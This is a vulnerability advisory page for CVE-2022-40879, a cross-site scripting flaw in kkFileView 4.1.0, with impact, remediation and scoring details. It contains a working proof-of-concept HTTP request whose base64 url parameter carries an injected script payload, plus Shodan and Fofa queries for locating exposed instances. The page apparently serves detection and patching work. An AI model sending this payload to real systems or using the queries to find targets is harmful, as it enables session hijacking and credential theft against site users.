🔙 목록으로 돌아가기

CVE-2022-40879: kkFileView 4.1.0 - Cross-Site Scripting

TitlekkFileView 4.1.0 - Cross-Site Scripting
Authorarafatansari,co5mos
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.19015
CVE IDCVE-2022-40879
CWE IDCWE-79
Shodan Queryhttp.html:"kkFileView"http.html:"kkfileview"
Fofa Querybody="kkfileview"app="kkfileview"
Tags cve cve2022 kkFileView xss keking vuln

🔍 Vulnerability Description

kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ== HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40879.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-40879.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A